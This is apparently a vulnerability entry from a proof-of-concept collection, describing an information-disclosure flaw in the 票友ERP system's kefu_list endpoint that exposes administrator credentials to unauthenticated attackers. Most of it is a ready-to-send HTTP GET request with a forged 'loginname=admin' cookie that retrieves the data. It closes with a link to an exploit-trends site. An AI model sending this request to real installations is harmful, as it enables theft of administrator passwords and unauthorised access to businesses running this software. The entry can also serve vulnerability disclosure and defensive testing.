Description
票友ERP系统存在信息泄露漏洞，未经授权的攻击者可通过该漏洞获取管理员账号密码信息。
票友ERP系统kefu_list存在信息泄露漏洞
PoC
GET /json_db/kefu_list.aspx?
stype=0&_search=false&nd=1751246532981&rows=25&page=1&sidx=id&sord=asc HTTP/1.1
Host:
Cookie: pyerpcookie=loginname=admin
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.